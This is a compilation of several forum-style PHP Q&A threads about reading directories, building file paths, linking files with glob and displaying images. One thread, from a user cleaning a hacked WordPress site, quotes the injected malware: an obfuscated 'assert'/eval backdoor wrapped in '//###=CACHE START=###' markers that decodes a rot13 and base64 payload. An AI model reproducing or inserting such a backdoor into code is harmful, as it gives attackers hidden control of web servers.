i am coding a simple doc managing script and need to get the file size and file type /file or folder/ in a table. somehow it doesn't work into the mention directory. please help if possible:
<?php
$path = "./documents";
$dh = dir($path);
while( ($file=$dh->read()) )
{
if( $file=="." || $file=="..")continue;
echo "<tr><td><a href='download.php?f=$file' title='Click to Open/Download'>$file</a></td>";
echo "<td>";
echo (is_file($file))? "<img src='file.jpg'/> FILE" : "<img src='folder.jpg'/> FOLDER ";
echo "</td><td>" .filesize($file)."</td>";
echo "<td><input type='checkbox' name='delete[]'/></td></tr>";
}
?>
it does actually has 2 errors - one the file size doesn't work for the location, if i change it to path to "." - everything is ok, but if i try to change to the folder where i need it /documents ...all goes bad, and secondly - it doesn't take the right icon file as well, same type of problem.
thank you
Problem is, $file is only the filename without the directory prefix, so checking on it won't work. One way would be to have a variable with the absolute filename (say $realfile). You'd then have to alter your code and use this variable for the file checks:
<?php
$path = "./documents";
$dh = dir($path);
while(($file=$dh->read()) !== false) {
if( $file=="." || $file=="..") continue;
// have a new variable for the real filepath
$realfile = $path . "/" . $file;
echo "<tr><td><a href='download.php?f=$file' title='Click to Open/Download'>$file</a></td>";
echo "<td>";
echo (is_file($realfile))? "<img src='file.jpg'/> FILE" : "<img src='folder.jpg'/> FOLDER ";
echo "</td><td>" .filesize($realfile)."</td>";
echo "<td><input type='checkbox' name='delete[]'/></td></tr>";
}
?>
If anyone still encounters this error and the top answer didn't work for you. Then it must be because there is a special character in your filepath i.e. \r or \n
Try:
$f = str_replace(Array("\n", "\r", "\n\r"), '', $f);
This is a common problem for reading content on a file.
Related
Long story short, my server was infected through an old wordpress install. I found the leak and now I have to clean up all of the affected files. All files that were affected were given a block of code, which is the same across all affected files.
I'm trying to loop through my server directory, search for this block of code then delete it and save the file.
There are a couple of problems that might make this hard.
The stuff I'm looking for is PHP code and I'm not sure the way I'm doing this will look for a specific string in a code block, rather it will only look for strings
My host has changed the permissions on any of these files to 200, so I need to change these to 604 or 777 (temporarily) to be able to open, change and save the files.
This is what I have so far:
function getDirContents($dir, $mal) {
$files = scandir($dir);
foreach($files as $file) {
if($file == "." || $file == "..") continue;
if(!is_file($dir . $file)){
//echo "Folder: " . $dir . $file . "<br />";
getDirContents($dir.$file."/", $mal);
} else {
//echo "File: " . $dir . $file . "<br />";
$content = file_get_contents($dir . $file);
if (strpos($content, $mal) !== false) {
echo "FOUND" . $dir.$file . "<br>";
}
}
}
}
$dir = "./";
$mal = "//###=CACHE START=###";
getDirContents($dir, $mal);
So, I am searching for this specific comment: //###=CACHE START=###. This is the same in every affected file, but I can not seem to search for it.
I haven't gotten to the deleting of the code block yet, but I am trying to remove this from each file:
//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl8kAwDhZGZlYwD0YwR4BP9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxh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VPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzSuZmR3MzWzVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
Any advice?
I am reading a folder with glob() function in php
foreach (glob("folder/*.*") as $filename) {
echo $filename."<br />"
}
My folder contains three kind of files pdf, image, videos. What I need here is to make a link for each file and open them on click.
How can I achieve this, any ideas?
This should work for you:
(This creates you a list of all files which you can click on it and you get it opened in the new tab)
$files = glob("folder/*.*");
foreach($files as $file)
echo "<a href='" . $file . "' target='_blank'>" . $file . "</a><br />";
This is actually is an easy task
I want to display contents of all files located in specified folder.
I am passing directory name
echo "<a href='see.php?qname=". $_name ."'>" . $row["qname"] . "</a>";
on second page ,
I am iterating over the directory content
while($entryname = readdir($myDirectory))
{
if(is_dir($entryname))
{
continue;
}
if($entryname=="." || $entryname==".." )
{}
else
{
if(!is_dir($entryname))
{
$fileHandle=fopen($entryname, "r");
while (!feof($fileHandle) ) {
$line = fgets($fileHandle);
echo $line . "<br />";
}
.
.
.
but I am unable to read any file , I have changed their permissions as well.
I tried putting directory name statically which worked,
Can someone suggest what am I doing wrong?
$entryname will contain JUST the filename, with no path information. You have to manually rebuild the path yourself. e.g.
$dh = opendir('/path/you/want/to/read/');
while($file = readdir($dh)) {
$contents = file_get_contents('/path/you/want/to/read/' . $file);
^^^^^^^^^^^^^^^^^^^^^^^^^^---include path here
}
Without the explicit path in your "read the file code", you're trying to open and read a file in the script's current working directory, not the director you're reading the filenames from.
Much simpler:
foreach(glob("$myDirectory/*") as $file) {
foreach(file($file) as $line) {
echo $line . "<br />";
}
}
Even simpler:
foreach(glob("$myDirectory/*") as $file) {
echo nl2br(file_get_contents($file));
}
I have this code on my computer and it runs perfectly fine but when someone else tries to run it in a different environment, getimagesize() is returning false every time for some reason (should be returning true a lot). Any ideas why this snippet of code would run completely different in different environments?
$i = 2;
while ($i != 0){
$theFile = "url/to/images/" . $image . $i . ".GIF";
//echo $theFile . "<br />";
if ($imageSize = #getimagesize($theFile)){
//echo "added...<br />";
$theRow .= "<a href='" . $theFile . "' rel='lightbox[" . $image . "]'></a>";
$i++;
}else{
$i = 0;
}
}
If I uncomment out the two lines there all $theFile's print to the screen fine and they are all valid URLs but it's just a bunch of
thisimage2.GIF
thatimage2.GIF
anotherimage2.GIF
...
They all end with 2.GIF but there are many that should have 3, 4, 5, 6 all the way up to 12.GIF but it's never increasing $i because it never returns true with getimagesize(). Again, when I uncomment echo $theFile . "<br />"; it prints valid URLs to images that the other person can paste into a browser address bar and see the image just fine.
I'm running php 5.4.17 and the exact same code works fine for me. The other machine is running php 5.4.7 and it's not working correctly. I tried to look up any differences between the two versions for getimagesize() but couldn't find anything.
Edit: When run without the "#" on getimagesize() on the machine where it's not working it gives the following warning: Warning: getimagesize(): Unable to find the wrapper “https” - did you forget to enable it when you configured PHP?
There are a couple things wrong here. Fortunately, most of them are easy fixes.
$image doesn't appear to be defined anywhere, but maybe it has and you just didn't include it.
There's no text in between each opening and closing <a> tag, so the only thing you'd see would be links like this: <a href='url/to/images/imagename1.GIF' rel='lightbox[]'></a> (but again, maybe that's intentional).
$theRow doesn't appear to echoed anywhere, but maybe it is and you just didn't include that part. Further, it doesn't look like $theRow was initially defined anywhere either.
Your while() loop will only display the last image processed. In this case, I'd use a for() loop instead.
If your goal is to build up $theRow and then display it all at the end, I'd go with something like this instead:
<?php
// EDIT: check to see if openssl exists first, due to the https error you're receiving.
$extensions = get_loaded_extensions();
if (!in_array('openssl', $extensions)) {
echo 'OpenSSL extension not loaded in this environment';
}
// Define $theRow first
$theRow = '';
// "Given that $i = 0, while $i is less than 3, auto-increment $i"
for ($i = 0; $i < 3; $i++){
$theFile = "url/to/images/" . $image . $i . ".GIF";
//echo $theFile . "<br />";
// Remove the # sign to display errors if you want
if ($imageSize = #getimagesize($theFile)){
//echo "added...<br />";
// Add to $theRow, using $theFile as the text displayed in between each <a> tag
$theRow .= "<a href='" . $theFile . "' rel='lightbox[" . $image . "]'>" . $theFile . "</a>";
}
else {
//This should only appear if $imageSize didn't work.
echo '$imageSize has not been set for ' . $theFile . '<br />';
}
}
// Now that $theRow has been built, echo the whole thing
echo $theRow;
i have a wordpress inside Public html folder on server.
i want to dispaly images from the folder Public_html--->Trial-->Wordpress_site-->uploads
below is page.php code
<?php
$directory = dirname(__FILE__).'/uploads';
echo $directory;
try {
// Styling for images
foreach ( new DirectoryIterator("/" . $directory) as $item ) {
if ($item->isFile()) {
echo "<div class=\"expand_image\">";
$path = "/" . $directory . "/" . $item;
echo $path;
echo "<img src=/"". $path . "\" width=861 height=443 />";
echo "</div>";
}
}
}
catch(Exception $e) {
echo 'No images found for this player.<br />';
}
?>
The images arent getting displayed..
anyone knows about the same??
edit1
I think there is problem in this sentence
echo "<img src=/"". $path . "\" width=861 height=443 />";
is it?
edit2
//home/softwar2/public_html/Pradnnya_blog/wordpress_site/wp-content/themes/deep-red/our_results/4thpanelfinal.jpg
is the path that i get when echoed.
__FILE__ gives you the path of the current file on the filesystem; however, when you visit the webpage and you see a link in the tag, you'll try to access that as a URL instead of a file. For this, you might find $_SERVER['PHP_SELF'] useful, or another one of the $_SERVER elements. It might be better to have the URL in a configuration file though, because $_SERVER may sometimes not be set.
Good catch, there's a bit of a syntax error:
echo "<img src=\"". $path . "\" width=861 height=443 />";
You'll want to use the backslash to escape the double quote.